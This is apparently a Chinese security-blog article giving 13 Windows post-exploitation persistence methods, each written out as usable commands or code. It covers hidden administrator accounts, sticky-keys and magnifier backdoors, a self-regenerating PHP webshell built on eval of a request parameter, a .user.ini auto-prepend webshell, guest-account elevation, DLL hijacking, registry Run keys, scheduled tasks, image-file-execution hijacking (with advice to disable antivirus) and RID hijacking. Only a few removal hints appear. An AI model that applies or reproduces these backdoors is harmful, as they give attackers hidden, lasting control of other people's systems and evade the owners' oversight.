位置:首页 > 安全分类 > WEB安全

Windows:后渗透之权限维持的13种方法

  • 2022-02-21 10:35:29
简介 0x1 匿名用户net user administrator$ woaijiushi /add && net localgroup administrators administrator$ /add
PS:通过在用户后面添加$符号的形式将用户达到隐藏的效果。

0x1 匿名用户

net user administrator$ woaijiushi /add && net localgroup administrators administrator$ /add

PS:通过在用户后面添加$符号的形式将用户达到隐藏的效果。

可以通过注册表或直接用户管理删除隐藏的用户。

0x2 Shift 后门

  1. 将 C:\WINDOWS\system32\dllcache\sethc.exe 删除,这个文件夹中放着缓存,如果不删除就会自动变回去。
  2. 删除 C:\WINDOWS\system32\ 下的 sethc.exe 文件。
  3. 重命名 C:\WINDOWS\system32\ 下的 cmd.exe 为 sethc.exe 。
  4. 按下 5下 shift 即可弹出管理权限的 DOS 窗口。


0x3 放大镜后门

创建 magnify.bat

@echo off
net user administrator$ woaijiushi /add
net localgroup administrators hack$ /add
%Windir%\system32\nagnify.exe
exit

利用bat2com / com2exe,BatToEXE(图形化工具)等工具把Bat文件转换成exe文件,

bat2com magnify.bat #将magnify.bat转换成magnify.com com2exe magnify.com # 将magnify.com转换成magnify.exe

将生成的 magnify.exe 分别替换掉 C:\WINDOWS\system32\dllcache 下的 magnify.exe 和C:\WINDOWS\system32\ 下的 magnify.exe

登陆时通过组合键 Win+U 调用。

上述方法检查及清除

检查`“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option”`注册表路径中的程序名称

其它适用于的辅助功能还有:

1. 屏幕键盘:C:\Windows\System32\osk.exe

2. 放大镜:C:\Windows\System32\Magnify.exe

3. 旁白:C:\Windows\System32\Narrator.exe

4. 显示开关:C:\Windows\System32\DisplaySwitch.exe

5. 应用程序开关:C:\Windows\System32\AtBroker.exe

PS:现在大部分的杀毒软件都会监视注册表项来防御这种恶意行为。

0x4 隐藏属性后门文件

将木马文件属性改为“隐藏” ,伪装成系统文件或数据库文件等,修改时间跟系统文件时间类似。

0x5 PHP内存型木马(不死马)

创建 inc_data_config.php 文件

<?php
set_time_limit(0);
ignore_user_abort(1);  
unlink(__FILE__);
while(1){
file_put_contents('inc_data_config.php','<?php $a=array($_REQUEST["cmd"]=>"3");
  $b=array_keys($a)[0];
  eval($b);?>');
sleep(5);
}
?>

ignore_user_abort() 函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。

set_time_limit() 函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。

unlink(__FILE__) 删除文件本身,以起到隐蔽自身的作用。

此脚本会每5秒不断的向服务器生成一个“inc_data_config.php”的一句话木马。

清除脚本只需要重启http服务。

0x6 .user.ini文件构成的PHP后门

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=01.gif
我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell

01.gif

<?php @eval($_GET['cmd']); ?>
直接访问下面链接即可利用:

http://xxx.baidu.com/index.php?cmd=phpinfo();

0x7 使用已经禁用的guest账户进行登录

控制面板\所有控制面板项\用户帐户\管理帐户\启用来宾帐户

net user guest woaijiushi && net localgroup administrators guest /add
net user guest /active:yes   // 激活guest用户

0x8 DLL 劫持

在加载DLL过程中,系统都是先在程序目录加载DLL,如果没有找到就按照规定的顺序去搜索,但如果DLL的路径没有在system32中,攻击者就有可能伪造一个dll被程序加载。

系统在使用DLL搜索顺序取决于世否启用安全的DLL搜索模式 。

PS:WindowsXP默认情况下禁用安全DLL搜索模式。之后默认启用安全DLL搜索模式

若要使用此功能,需创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值,0为禁止,1为启用。

SafeDLLSearchMode启用后,搜索顺序如下:

1. 从其中加载应用程序的目录、
2. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
3. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
4. Windows目录。 使用GetWindowsDirectory函数获取此目录。
5. 当前目录。
6. PATH环境变量中列出的目录。

SafeDLLSearchMode禁用后,搜索顺序如下:

1. 从其中加载应用程序的目录
2. 当前目录
3. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
4. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
5. Windows目录。 使用GetWindowsDirectory函数获取此目录。
6. PATH环境变量中列出的目录。

DLL劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL。

可以用来劫持系统程序,也可以劫持用户程序。劫持系统程序具有兼容性,劫持用户程序则有针对性。结合本文的主题,这里选择劫持系统程序。

可以劫持的dll有:

lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll

以lpk.dll为列,explorer桌面程序的启动需要加载lpk.dll,当进入桌面后lpk.dll便被加载了,劫持lpk.dll之后,每次启动系统,自己的lpk.dll都会被加载,实现了持久化攻击的效果。

0x9 注册表开机自动启动项

1. Load注册键

HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows
// 建一个字符串名为load键值

2. Winlogon\Userinit注册键

找到“Userinit”这个键值,这个键值默认为c:\WINNT\system32\userinit.exe,后面加路径,再加逗号也可以。这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”(不含引号)。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

3. Explorer\Run注册键

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

4. RunServicesOnce注册键

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce

5. 常用注册键

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

测试部分成功执行。

0x10 计划任务

schtasks /create /sc ONLOGON /tr C:\Windows\System32\cmd.exe /tn test

命令详解:

schtasks /create  <创建新的计划任务>
参数:
/sc schedule <schedule>
ONLOGON
每当用户(任意用户)登录的时候,任务就运行。可以指定日期,或在下次用户登录的时候运行任务。

/tr  <TaskRun>
指定任务运行的程序或命令。键入可执行文件、脚本文件或批处理文件的完全合格的路径和文件名;
如果忽略该路径,SchTasks.exe 将假定文件在 Systemroot\System32 目录下。

/tn <TaskName>
指定任务的名称

关机重启显示效果

指定时间运行任务

schtasks /create /sc daily /st 00:00:00 /tr calc.exe /tn test1

参数详解

/st StartTime
以 HH:MM:SS 24 小时格式指定时间。默认值是命令完成时的当前本地时间。

删除计划任务

schtasks /Delete /TN 任务名称 /F

0x11 文件夹启动

在每次开机或重启的时候就会运行启动文件夹下的程序。

C:\Users\ppbibo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

0x12 映像劫持

在下面注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
Image File Execution Options

在此路径下创建一个子项,子项的名称为你要劫持的 exe 名称,比如说cmd.exe 然后创建一个值,值名为Debugger, 值为要执行的恶意脚本。


运行 cmd.exe 时执行成功运行 calc.exe

注意:这个会让安全软件拦截,所以要先退出杀软。

0x13 RID 劫持

新建一个普通用户 admin

在下面注册表中

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

找到 admin 对于Windows系统来说,注册表下包含当前系统的所有帐户列表,每个帐户的默认键值对应该帐户详细信息的注册表位置(即RID的十六进制表示)

Tips:SAM下的注册表选项需要获得system权限才能读取

查看 administrator 对应键值,数值名称为F ,数值内容 0030 的位置复制到 admin 对应键值,数值名称为F ,数值内容 0030 的位置。


点击确定然后关机重启,登陆 admin 用户,效果图如下:


很赞哦! (119)